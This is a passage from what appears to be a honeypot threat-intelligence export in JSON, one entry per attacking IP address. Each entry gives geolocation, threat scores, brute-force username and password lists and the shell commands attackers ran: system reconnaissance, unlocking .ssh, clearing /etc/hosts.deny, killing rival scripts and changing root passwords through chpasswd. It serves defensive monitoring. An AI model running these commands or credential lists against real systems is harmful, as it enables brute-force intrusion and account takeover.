        "echo \"wyse\\n7QMgh8I4Vu0N\\n7QMgh8I4Vu0N\\n\"|passwd",
        "echo -e \"afa\\nAu4pdVbkY8oW\\nAu4pdVbkY8oW\"|passwd|bash",
        "echo -e \"wyse\\n7QMgh8I4Vu0N\\n7QMgh8I4Vu0N\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Pforzheim",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 799,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:45:27.363000+00:00",
        "last_seen_30d": "2026-04-21T03:08:27.132000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 654,
        "Suricata": 145
      }
    },
    "49.229.102.187": {
      "attack_count": 628,
      "first_seen": "2026-04-01T06:49:36.745Z",
      "last_seen": "2026-04-03T15:57:13.294Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "ftpuser",
        "user",
        "administrator",
        "apache",
        "cftest",
        "cmm",
        "crystal",
        "deploy",
        "git",
        "huawei",
        "oracle",
        "postfix",
        "sammy",
        "server",
        "silvia",
        "ubuntu",
        "wp-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "1234",
        "123465**",
        "123Qaz!@#",
        "12qwas",
        "5tgb&UJM",
        "@dmin@dmin",
        "Aa102030",
        "Admin@2024",
        "Cm123456",
        "Ecomobi@123",
        "Huawei12#$",
        "Oracle17",
        "PAssw0rd1",
        "Password01@",
        "Qaz12345@",
        "Rdp12345",
        "XXxx000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"claude\\np1qBxaswDyjh\\np1qBxaswDyjh\\n\"|passwd",
        "echo \"qwer1234\\ncB7fEnPiXMOQ\\ncB7fEnPiXMOQ\\n\"|passwd",
        "echo \"qwerty123456\\nxXzXxNBezEZE\\nxXzXxNBezEZE\\n\"|passwd",
        "echo \"root:EC2n20XjmN8O\"|chpasswd|bash",
        "echo \"root:moAtuiiHrntX\"|chpasswd|bash",
        "echo -e \"claude\\np1qBxaswDyjh\\np1qBxaswDyjh\"|passwd|bash",
        "echo -e \"qwer1234\\ncB7fEnPiXMOQ\\ncB7fEnPiXMOQ\"|passwd|bash",
        "echo -e \"qwerty123456\\nxXzXxNBezEZE\\nxXzXxNBezEZE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 791,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:49:36.745000+00:00",
        "last_seen_30d": "2026-04-03T15:58:22.687000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 628,
        "Suricata": 163
      }
    },
    "46.165.56.242": {
      "attack_count": 590,
      "first_seen": "2026-04-12T12:04:52.300Z",
      "last_seen": "2026-04-23T07:50:47.457Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "postgres",
        "test",
        "admin",
        "admin1234",
        "erpnext",
        "jenkins",
        "ubuntu",
        "a",
        "barman",
        "dev",
        "edge",
        "jordi",
        "mail",
        "omar",
        "oracle",
        "sftpuser",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456789m",
        "123qwe!@#",
        "A@ditzu123",
        "ABCabc",
        "Abcd1234567!!",
        "Ali18",
        "Ali20!",
        "Letmein.123!@#",
        "Linux@123",
        "Password2024",
        "QWER123456",
        "QWERQWER1234",
        "QWERTY@123456",
        "Qazwsx2019@#",
        "Qazwsx2024!@",
        "Root01!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nISugnzx8Wipq\\nISugnzx8Wipq\\n\"|passwd",
        "echo \"Ali18\\n1ng89SPwuRJO\\n1ng89SPwuRJO\\n\"|passwd",
        "echo \"admin1234\\nATF4tkuIHeRE\\nATF4tkuIHeRE\\n\"|passwd",
        "echo \"erpnext@2025\\nrlMiniDGQa5X\\nrlMiniDGQa5X\\n\"|passwd",
        "echo \"root:Nl51DkNgFxQ6\"|chpasswd|bash",
        "echo -e \"123\\nISugnzx8Wipq\\nISugnzx8Wipq\"|passwd|bash",
        "echo -e \"Ali18\\n1ng89SPwuRJO\\n1ng89SPwuRJO\"|passwd|bash",
        "echo -e \"admin1234\\nATF4tkuIHeRE\\nATF4tkuIHeRE\"|passwd|bash",
        "echo -e \"erpnext@2025\\nrlMiniDGQa5X\\nrlMiniDGQa5X\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhny Tagil",
      "asn": 49218,
      "as_org": "Nizhnetagilskie Kompyuternye Seti LLC",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 725,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:04:52.300000+00:00",
        "last_seen_30d": "2026-04-23T07:53:11.542000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 590,
        "Suricata": 135
      }
    },
    "202.165.29.119": {
      "attack_count": 534,
      "first_seen": "2026-04-05T15:59:57.734Z",
      "last_seen": "2026-04-25T12:28:10.021Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "postgres",
        "teamspeak",
        "info",
        "ubuntu",
        "aa",
        "admin",
        "bot",
        "claude",
        "firewall",
        "ftpuser",
        "ivan",
        "rooter",
        "ruan",
        "sftpuser",
        "testuser",
        "tom",
        "vlad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "111111",
        "123123",
        "1q2w3e",
        "1qazxsw2!",
        "2026#",
        "9sJm0aLp2XzV7NcQ8rYwG3uR5tE4lP6x",
        "AA123456AA",
        "ABC123",
        "ABcd@1234",
        "Aa112211.",
        "Abcd12345678@",
        "Bot12345",
        "Claude123456",
        "Dev0",
        "Hu123456789",
        "P@ss123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nVTnjJsktGfGC\\nVTnjJsktGfGC\\n\"|passwd",
        "echo \"Dev0\\nX99Jqm6G645X\\nX99Jqm6G645X\\n\"|passwd",
        "echo \"root:XXdKkSweHQiq\"|chpasswd|bash",
        "echo \"root:kUOb7Q1tTBIa\"|chpasswd|bash",
        "echo -e \"123456\\nVTnjJsktGfGC\\nVTnjJsktGfGC\"|passwd|bash",
        "echo -e \"Dev0\\nX99Jqm6G645X\\nX99Jqm6G645X\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 679,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:59:57.734000+00:00",
        "last_seen_30d": "2026-04-25T12:29:17.746000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 534,
        "Suricata": 145
      }
    },
    "171.243.150.237": {
      "attack_count": 472,
      "first_seen": "2026-04-24T19:28:32.156Z",
      "last_seen": "2026-04-24T19:55:45.020Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "monitor",
        "mysql",
        "test",
        "*****",
        "1234",
        "ace",
        "anton",
        "backup",
        "carol",
        "cf1c22",
        "config",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "ftpuser",
        "george"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "password",
        "12345",
        "P@ssw0rd",
        "mysql",
        "*****",
        "0l0ctyQh243O63uD",
        "1111",
        "111111",
        "12345678",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "91482d",
        "?",
        "@",
        "abc123",
        "ace",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 682,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T19:28:32.156000+00:00",
        "last_seen_30d": "2026-04-24T19:56:48.760000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 472,
        "Suricata": 210
      }
    },
    "172.172.186.3": {
      "attack_count": 464,
      "first_seen": "2026-04-20T16:29:05.395Z",
      "last_seen": "2026-04-20T18:18:41.952Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "user",
        "ftptest",
        "intern",
        "marc",
        "morgan",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "1234",
        "1q2w3e4r5t.",
        "@2025",
        "A123456F",
        "Asdf12345",
        "Ftpuser08",
        "L@y3rh0st2026",
        "P4ssw0rd",
        "P@ssw0rd@1234",
        "Qaz123456789",
        "Qazwsx001!@",
        "Qazwsx1111111!",
        "Reset@123",
        "ZAQ!2wsx654321..",
        "abcdabcd",
        "asdfgh",
        "dupa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser08\\nOeIWDtfCY8Kk\\nOeIWDtfCY8Kk\\n\"|passwd",
        "echo \"root:D0s8JHqlSvy1\"|chpasswd|bash",
        "echo \"root:cUm7jAusbJ9W\"|chpasswd|bash",
        "echo \"root:jTwKO00kD8qV\"|chpasswd|bash",
        "echo \"zaq1@WSX\\nKoDuEw4SAKNc\\nKoDuEw4SAKNc\\n\"|passwd",
        "echo -e \"Ftpuser08\\nOeIWDtfCY8Kk\\nOeIWDtfCY8Kk\"|passwd|bash",
        "echo -e \"zaq1@WSX\\nKoDuEw4SAKNc\\nKoDuEw4SAKNc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:29:05.395000+00:00",
        "last_seen_30d": "2026-04-20T18:19:49.066000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 464,
        "Suricata": 84
      }
    },
    "220.118.173.234": {
      "attack_count": 431,
      "first_seen": "2026-04-17T16:13:00.311Z",
      "last_seen": "2026-04-27T23:02:20.161Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "testdev",
        "ubuntu",
        "alpha",
        "casaos",
        "cs",
        "ftpuser",
        "kingbase",
        "mihail",
        "n8n",
        "postgres",
        "sam",
        "sammy",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!%&(!%&(",
        "1234",
        "123456",
        "12345678",
        "1234Qwe",
        "123@AbcAbc",
        "123qweasd",
        "4rfv!@",
        "Admin!@#123",
        "Admin12!!",
        "CCxx112233",
        "FTPUSER",
        "Login1234",
        "Passw0rD",
        "Password33*",
        "QweAsd12345",
        "Qwerty@2024",
        "Rm@tdc#531"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"abc12345\\nboLJyq6IJPNz\\nboLJyq6IJPNz\\n\"|passwd",
        "echo \"root:AZg4DKIVKNCd\"|chpasswd|bash",
        "echo \"testdev\\nrdhtRHGgau89\\nrdhtRHGgau89\\n\"|passwd",
        "echo -e \"abc12345\\nboLJyq6IJPNz\\nboLJyq6IJPNz\"|passwd|bash",
        "echo -e \"testdev\\nrdhtRHGgau89\\nrdhtRHGgau89\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdeungpo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 547,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:13:00.311000+00:00",
        "last_seen_30d": "2026-04-27T23:03:29.477000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 116
      }
    },
    "27.79.44.193": {
      "attack_count": 427,
      "first_seen": "2026-04-01T15:17:07.901Z",
      "last_seen": "2026-04-01T15:41:47.869Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "developer",
        "ftp",
        "monitor",
        "ubnt",
        "*****",
        "1234",
        "123456",
        "am",
        "auto",
        "belkinstyle",
        "bin",
        "carol",
        "cf1c22",
        "cisco",
        "client",
        "cpanel",
        "demo"
      ],
      "passwords_attempted": [
        "123456",
        "Deadstar!",
        "1234",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "1",
        "1111",
        "111111",
        "112233",
        "12345",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 610,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T15:17:07.901000+00:00",
        "last_seen_30d": "2026-04-01T15:42:51.159000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 427,
        "Suricata": 183
      }
    },
    "105.27.148.94": {
      "attack_count": 422,
      "first_seen": "2026-04-02T09:37:36.389Z",
      "last_seen": "2026-04-27T07:46:35.608Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root123"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "400400",
        "@#$%12345",
        "A1B2C3",
        "AA#123456",
        "AA000",
        "AA12345678",
        "Aa121212",
        "Ab003",
        "Abc@12",
        "Abcd123",
        "Efghi123456",
        "Huaweipassword123",
        "Login2026",
        "Pa$$word@123",
        "Qq$123",
        "Qq2222",
        "Root11111"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1eK8FudtBdbn\"|chpasswd|bash",
        "echo \"root:D2C46E8p162l\"|chpasswd|bash",
        "echo \"root:LD4c974jjVAS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37100,
      "as_org": "SEACOM-AS",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 534,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:37:36.389000+00:00",
        "last_seen_30d": "2026-04-27T07:47:40.754000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 112
      }
    },
    "119.92.70.82": {
      "attack_count": 408,
      "first_seen": "2026-04-26T02:30:15.840Z",
      "last_seen": "2026-04-26T04:46:10.244Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "ubuntu",
        "ammar",
        "bot",
        "claude",
        "ftpuser",
        "mehrdad",
        "myuser",
        "n8n",
        "sammy",
        "share",
        "test",
        "user2",
        "vintagestory",
        "wisdom"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe",
        "1qaz@WSX",
        "235678",
        "@dm1n!",
        "AA123456-",
        "Aa112211.",
        "CCaa123",
        "N8n3",
        "P@ssw0RD",
        "ZAQ!2wsx2018!@#",
        "ammar",
        "bot0",
        "claude01",
        "f",
        "haslo",
        "majid123",
        "mehrdad",
        "mypass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"random\\nObGsXfTQgnTZ\\nObGsXfTQgnTZ\\n\"|passwd",
        "echo \"root:qIvqfknBRbJ9\"|chpasswd|bash",
        "echo \"root:ymaIDYgjPKxo\"|chpasswd|bash",
        "echo \"root:zvieoxyhHMao\"|chpasswd|bash",
        "echo -e \"random\\nObGsXfTQgnTZ\\nObGsXfTQgnTZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Ugong Norte",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T02:30:15.840000+00:00",
        "last_seen_30d": "2026-04-26T04:47:10.612000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 408,
        "Suricata": 96
      }
    },
    "118.193.33.228": {
      "attack_count": 393,
      "first_seen": "2026-04-16T17:01:11.906Z",
      "last_seen": "2026-04-23T07:49:27.338Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "sammy",
        "345gs5662d34",
        "admin1234",
        "user",
        "adminuser",
        "dima",
        "frappe",
        "n",
        "odoo",
        "teamspeak",
        "test",
        "testftp1",
        "user03",
        "walter"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "&UJM8ik,",
        "1234",
        "123P@ssword",
        "123asdZXC",
        "1Qwerty",
        "1qaz3edc",
        "28092026",
        "4321",
        "A123456789**963",
        "ASD@123",
        "Abc@1234567",
        "Admin1234#",
        "Hallo123",
        "Odoo2026!",
        "P@55word",
        "P@ssw0rD",
        "QWE!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin1234\\nYX1GCojt4nZK\\nYX1GCojt4nZK\\n\"|passwd",
        "echo \"sammy21\\nr2R3OfcZzPuQ\\nr2R3OfcZzPuQ\\n\"|passwd",
        "echo -e \"admin1234\\nYX1GCojt4nZK\\nYX1GCojt4nZK\"|passwd|bash",
        "echo -e \"sammy21\\nr2R3OfcZzPuQ\\nr2R3OfcZzPuQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
